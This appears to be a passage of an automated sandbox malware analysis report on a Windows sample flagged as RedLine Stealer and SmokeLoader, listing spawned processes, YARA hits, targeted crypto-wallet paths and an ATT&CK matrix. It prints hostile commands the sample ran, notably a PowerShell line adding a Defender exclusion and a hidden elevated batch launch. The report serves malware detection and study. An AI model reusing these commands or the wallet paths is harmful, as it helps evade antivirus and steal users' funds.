Source: 22.0.8039.exe.400000.4.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.0.8039.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 22.2.8039.exe.400000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run			Jump to behavior

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

28_2_00401C26

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D27E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,

23_2_6D27E730

Source: explorer.exe, 00000005.00000000.687463087.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.700234106.0000000001080000.00000002.00020000.sdmp, 59B4.exe, 00000013.00000002.959255251.0000000001410000.00000002.00020000.sdmp, 610B.exe, 0000001B.00000002.943758825.0000000000B60000.00000002.00020000.sdmp, argjvbv, 00000020.00000002.957239544.0000000000D40000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.706261593.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8039.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\8039.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B8B0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\82DC.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Code function: 0_2_0041B4E0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0041B4E0

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Code function: 23_2_6D2465A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,

23_2_6D2465A0

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.610B.exe.36b5530.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b5530.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4743790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.8039.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8039.exe PID: 6032, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: ElectrumE#
Source: 8039.exe, 00000016.00000002.956933883.0000000002CF8000.00000004.00000001.sdmp	String found in binary or memory: &l1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: JaxxE#
Source: 8039.exe, 00000016.00000002.947093100.0000000000B4B000.00000004.00000020.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\*.json
Source: 8039.exe, 00000016.00000002.956933883.0000000002CF8000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: ExodusE#
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: EthereumE#
Source: 8039.exe, 00000016.00000002.956933883.0000000002CF8000.00000004.00000001.sdmp	String found in binary or memory: &l5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: 59B4.exe, 00000013.00000003.827286675.0000000002920000.00000004.00000001.sdmp	String found in binary or memory: set_UseMachineKeyStore

Source: Yara match	File source: 00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8039.exe PID: 6032, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.610B.exe.36b5530.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.82DC.exe.3f36280.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b5530.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4743790.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36b6418.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.8039.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.2050ee8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.8039.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.8039.exe.4729678.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0f6e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.21c0086.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.610B.exe.36d0f50.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8039.exe PID: 6032, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API11	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	Input Capture1	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information11	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Windows Service1	Application Shimming1	Obfuscated Files or Information4	Security Account Manager	System Information Discovery15	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution2	Logon Script (Mac)	Access Token Manipulation1	Software Packing23	NTDS	Security Software Discovery841	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Virtualization/Sandbox Evasion441	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection512	DLL Side-Loading11	Cached Domain Credentials	Process Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion441	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection512	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
y4oMrtO1Mt.exe	29%	Virustotal		Browse
y4oMrtO1Mt.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\82DC.exe	100%	Avira	HEUR/AGEN.1144480
C:\Users\user\AppData\Local\Temp\59B4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F72D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\610B.exe	100%	Joe Sandbox ML
